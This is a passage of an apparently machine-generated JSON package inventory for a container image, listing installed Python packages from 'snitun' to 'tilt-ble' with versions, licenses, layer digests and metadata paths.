"usr/local/lib/python3.14/site-packages/snitun-0.45.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sockio", "Identifier": { "PURL": "pkg:pypi/sockio@0.15.0", "UID": "5e0aab31cc0c0b26" }, "Version": "0.15.0", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sockio-0.15.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "socksio", "Identifier": { "PURL": "pkg:pypi/socksio@1.0.0", "UID": "2554f1be757f3a2f" }, "Version": "1.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/socksio-1.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "soco", "Identifier": { "PURL": "pkg:pypi/soco@0.31.1", "UID": "6b8252c362e13525" }, "Version": "0.31.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/soco-0.31.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "solaredge-local", "Identifier": { "PURL": "pkg:pypi/solaredge-local@0.2.3", "UID": "539832d2767139e7" }, "Version": "0.2.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/solaredge_local-0.2.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "solaredge-web", "Identifier": { "PURL": "pkg:pypi/solaredge-web@0.0.1", "UID": "2dd0b46c70b4bf88" }, "Version": "0.0.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/solaredge_web-0.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "solarlog_cli", "Identifier": { "PURL": "pkg:pypi/solarlog-cli@0.7.1", "UID": "5d981834f34533bc" }, "Version": "0.7.1", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/solarlog_cli-0.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "solarman-opendata", "Identifier": { "PURL": "pkg:pypi/solarman-opendata@0.0.3", "UID": "2f49ab35798fe809" }, "Version": "0.0.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/solarman_opendata-0.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "solax", "Identifier": { "PURL": "pkg:pypi/solax@3.2.4", "UID": "ef32751eb8a2cbed" }, "Version": "3.2.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/solax-3.2.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "somfy-mylink-synergy", "Identifier": { "PURL": "pkg:pypi/somfy-mylink-synergy@1.0.6", "UID": "e0c84e5421655579" }, "Version": "1.0.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/somfy_mylink_synergy-1.0.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sonos-websocket", "Identifier": { "PURL": "pkg:pypi/sonos-websocket@0.2.0", "UID": "93a2dad73ab2b3a3" }, "Version": "0.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sonos_websocket-0.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sortedcontainers", "Identifier": { "PURL": "pkg:pypi/sortedcontainers@2.4.0", "UID": "c7514e17ae7ae89c" }, "Version": "2.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sortedcontainers-2.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "soupsieve", "Identifier": { "PURL": "pkg:pypi/soupsieve@2.8.4", "UID": "5583259170f5bb24" }, "Version": "2.8.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/soupsieve-2.8.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "speak2mary", "Identifier": { "PURL": "pkg:pypi/speak2mary@1.4.0", "UID": "2db64059e82f6f7b" }, "Version": "1.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/speak2mary-1.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "speedtest-cli", "Identifier": { "PURL": "pkg:pypi/speedtest-cli@2.1.3", "UID": "690a0a5108833cd7" }, "Version": "2.1.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/speedtest_cli-2.1.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "spotifyaio", "Identifier": { "PURL": "pkg:pypi/spotifyaio@2.0.2", "UID": "7e630c8d837397a2" }, "Version": "2.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/spotifyaio-2.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sqlparse", "Identifier": { "PURL": "pkg:pypi/sqlparse@0.5.5", "UID": "f5b686153ef1028b" }, "Version": "0.5.5", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sqlparse-0.5.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "srp", "Identifier": { "PURL": "pkg:pypi/srp@1.0.22", "UID": "68252bc9f1bfd945" }, "Version": "1.0.22", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/srp-1.0.22.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "srpenergy", "Identifier": { "PURL": "pkg:pypi/srpenergy@1.3.8", "UID": "976456f0d2550146" }, "Version": "1.3.8", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/srpenergy-1.3.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "srptools", "Identifier": { "PURL": "pkg:pypi/srptools@1.0.1", "UID": "e3e6986556b6dd18" }, "Version": "1.0.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/srptools-1.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sse-starlette", "Identifier": { "PURL": "pkg:pypi/sse-starlette@3.4.5", "UID": "3eeb0b82ab264c56" }, "Version": "3.4.5", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sse_starlette-3.4.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "standard-aifc", "Identifier": { "PURL": "pkg:pypi/standard-aifc@3.13.0", "UID": "b122224459e0c0f2" }, "Version": "3.13.0", "Licenses": [ "Python Software Foundation License" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/standard_aifc-3.13.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "standard-chunk", "Identifier": { "PURL": "pkg:pypi/standard-chunk@3.13.0", "UID": "75a0e7fa8507dd66" }, "Version": "3.13.0", "Licenses": [ "Python Software Foundation License" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/standard_chunk-3.13.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "standard-telnetlib", "Identifier": { "PURL": "pkg:pypi/standard-telnetlib@3.13.0", "UID": "da8c06712cc285c1" }, "Version": "3.13.0", "Licenses": [ "Python Software Foundation License" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/standard_telnetlib-3.13.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "starkbank-ecdsa", "Identifier": { "PURL": "pkg:pypi/starkbank-ecdsa@2.3.1", "UID": "5728992dc47d14" }, "Version": "2.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/starkbank_ecdsa-2.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "starlette", "Identifier": { "PURL": "pkg:pypi/starlette@1.3.1", "UID": "f25d3cf7658b7fe5" }, "Version": "1.3.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/starlette-1.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "starline", "Identifier": { "PURL": "pkg:pypi/starline@0.1.5", "UID": "9dffe641c0c714f3" }, "Version": "0.1.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/starline-0.1.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "starlingbank", "Identifier": { "PURL": "pkg:pypi/starlingbank@3.2", "UID": "7fb4d6bd14bdbc85" }, "Version": "3.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/starlingbank-3.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "starlink-grpc-core", "Identifier": { "PURL": "pkg:pypi/starlink-grpc-core@1.2.5", "UID": "426fda6b4b195886" }, "Version": "1.2.5", "Licenses": [ "Unlicense" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/starlink_grpc_core-1.2.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "statsd", "Identifier": { "PURL": "pkg:pypi/statsd@3.2.1", "UID": "3f90b122c37954aa" }, "Version": "3.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/statsd-3.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "stdiomask", "Identifier": { "PURL": "pkg:pypi/stdiomask@0.0.6", "UID": "278301e983eb9622" }, "Version": "0.0.6", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/stdiomask-0.0.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "steamloop", "Identifier": { "PURL": "pkg:pypi/steamloop@1.2.1", "UID": "8be6cb35e09e1dbe" }, "Version": "1.2.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/steamloop-1.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "steamodd", "Identifier": { "PURL": "pkg:pypi/steamodd@5.0", "UID": "210e5442d97dded3" }, "Version": "5.0", "Licenses": [ "ISC" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/steamodd-5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "stevedore", "Identifier": { "PURL": "pkg:pypi/stevedore@5.9.0", "UID": "e328866e52df1d14" }, "Version": "5.9.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/stevedore-5.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "stookwijzer", "Identifier": { "PURL": "pkg:pypi/stookwijzer@1.6.1", "UID": "a9c19c2065737b4a" }, "Version": "1.6.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/stookwijzer-1.6.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "streamlabswater", "Identifier": { "PURL": "pkg:pypi/streamlabswater@1.0.1", "UID": "a20a64832ce06f4b" }, "Version": "1.0.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/streamlabswater-1.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "striprtf", "Identifier": { "PURL": "pkg:pypi/striprtf@0.0.32", "UID": "ac99ece9d2089c9a" }, "Version": "0.0.32", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/striprtf-0.0.32.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "subarulink", "Identifier": { "PURL": "pkg:pypi/subarulink@0.7.19", "UID": "b2cdf7875785d911" }, "Version": "0.7.19", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/subarulink-0.7.19.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "surepy", "Identifier": { "PURL": "pkg:pypi/surepy@0.9.0", "UID": "30d9ff52eb14cca6" }, "Version": "0.9.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/surepy-0.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "svgwrite", "Identifier": { "PURL": "pkg:pypi/svgwrite@1.4.3", "UID": "5808f418ff64a450" }, "Version": "1.4.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/svgwrite-1.4.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "swisshydrodata", "Identifier": { "PURL": "pkg:pypi/swisshydrodata@0.1.0", "UID": "78805f2ff78c437b" }, "Version": "0.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/swisshydrodata-0.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "switchbot_api", "Identifier": { "PURL": "pkg:pypi/switchbot-api@2.12.0", "UID": "373457afbd41ac8a" }, "Version": "2.12.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/switchbot_api-2.12.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "synology-srm", "Identifier": { "PURL": "pkg:pypi/synology-srm@0.2.0", "UID": "5ab540e396186f3c" }, "Version": "0.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/synology_srm-0.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "systembridgeconnector", "Identifier": { "PURL": "pkg:pypi/systembridgeconnector@5.4.3", "UID": "1aa57b0ac76ea791" }, "Version": "5.4.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/systembridgeconnector-5.4.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tabulate", "Identifier": { "PURL": "pkg:pypi/tabulate@0.10.0", "UID": "309f5605cc002a9b" }, "Version": "0.10.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tabulate-0.10.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tailer", "Identifier": { "PURL": "pkg:pypi/tailer@0.4.1", "UID": "416e926b453e15fc" }, "Version": "0.4.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tailer-0.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tailscale", "Identifier": { "PURL": "pkg:pypi/tailscale@0.7.0", "UID": "f261d40033c7f4b6" }, "Version": "0.7.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tailscale-0.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tank-utility", "Identifier": { "PURL": "pkg:pypi/tank-utility@1.5.0", "UID": "dcb7bb3ebe5b0691" }, "Version": "1.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tank_utility-1.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tapsaff", "Identifier": { "PURL": "pkg:pypi/tapsaff@0.2.1", "UID": "2034c17452997cbf" }, "Version": "0.2.1", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tapsaff-0.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tellcore-net", "Identifier": { "PURL": "pkg:pypi/tellcore-net@0.4", "UID": "a7654d179fd86f2" }, "Version": "0.4", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tellcore_net-0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tellcore-py", "Identifier": { "PURL": "pkg:pypi/tellcore-py@1.1.3", "UID": "d8efd74f1b5e3d2" }, "Version": "1.1.3", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tellcore_py-1.1.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tellduslive", "Identifier": { "PURL": "pkg:pypi/tellduslive@0.10.12", "UID": "6767593930dc88ea" }, "Version": "0.10.12", "Licenses": [ "Unlicense" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tellduslive-0.10.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "telnetlib3", "Identifier": { "PURL": "pkg:pypi/telnetlib3@4.0.5", "UID": "ae6b71cf915ce74f" }, "Version": "4.0.5", "Licenses": [ "ISC" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/telnetlib3-4.0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "teltasync", "Identifier": { "PURL": "pkg:pypi/teltasync@0.4.0", "UID": "6a7e0a41d4e848ef" }, "Version": "0.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/teltasync-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "temescal", "Identifier": { "PURL": "pkg:pypi/temescal@0.5", "UID": "532a9fc24497c75d" }, "Version": "0.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/temescal-0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "temperusb", "Identifier": { "PURL": "pkg:pypi/temperusb@1.6.1", "UID": "8aaeb176aec305f7" }, "Version": "1.6.1", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/temperusb-1.6.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tempora", "Identifier": { "PURL": "pkg:pypi/tempora@5.9.0", "UID": "17e2fb69a7b8989d" }, "Version": "5.9.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tempora-5.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tenacity", "Identifier": { "PURL": "pkg:pypi/tenacity@8.5.0", "UID": "ce450ca10b2af931" }, "Version": "8.5.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tenacity-8.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tesla-wall-connector", "Identifier": { "PURL": "pkg:pypi/tesla-wall-connector@1.1.0", "UID": "ac1e5829ec931bef" }, "Version": "1.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tesla_wall_connector-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tesla_fleet_api", "Identifier": { "PURL": "pkg:pypi/tesla-fleet-api@1.4.7", "UID": "ddaa6fbdc98ddda5" }, "Version": "1.4.7", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tesla_fleet_api-1.4.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tesla_powerwall", "Identifier": { "PURL": "pkg:pypi/tesla-powerwall@0.5.3", "UID": "1bc03bd1f0e625e8" }, "Version": "0.5.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tesla_powerwall-0.5.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "teslemetry_stream", "Identifier": { "PURL": "pkg:pypi/teslemetry-stream@0.9.0", "UID": "5b06245d4aafe621" }, "Version": "0.9.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/teslemetry_stream-0.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tessie_api", "Identifier": { "PURL": "pkg:pypi/tessie-api@0.1.3", "UID": "4ece05a3de088844" }, "Version": "0.1.3", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tessie_api-0.1.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "text-unidecode", "Identifier": { "PURL": "pkg:pypi/text-unidecode@1.3", "UID": "3b98ac5e064aebca" }, "Version": "1.3", "Licenses": [ "Artistic-2.0", "GPL-3.0-or-later", "GPL-2.0-or-later" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/text_unidecode-1.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "thermobeacon-ble", "Identifier": { "PURL": "pkg:pypi/thermobeacon-ble@0.10.0", "UID": "a76121674be80639" }, "Version": "0.10.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/thermobeacon_ble-0.10.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "thermopro-ble", "Identifier": { "PURL": "pkg:pypi/thermopro-ble@1.1.4", "UID": "27c78717501da3b9" }, "Version": "1.1.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/thermopro_ble-1.1.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "thingspeak", "Identifier": { "PURL": "pkg:pypi/thingspeak@1.0.0", "UID": "afe075c921154f12" }, "Version": "1.0.0", "Licenses": [ "LGPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/thingspeak-1.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "thinqconnect", "Identifier": { "PURL": "pkg:pypi/thinqconnect@1.0.13", "UID": "b159c378c7f518b9" }, "Version": "1.0.13", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/thinqconnect-1.0.13.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tibs", "Identifier": { "PURL": "pkg:pypi/tibs@0.5.7", "UID": "945c2c2ecc0ad0cf" }, "Version": "0.5.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tibs-0.5.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tilt-ble", "Identifier": { "PURL": "pkg:pypi/tilt-ble@1.0.1", "UID": "5e5c25e56ae1b98c" }, "Version": "1.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" 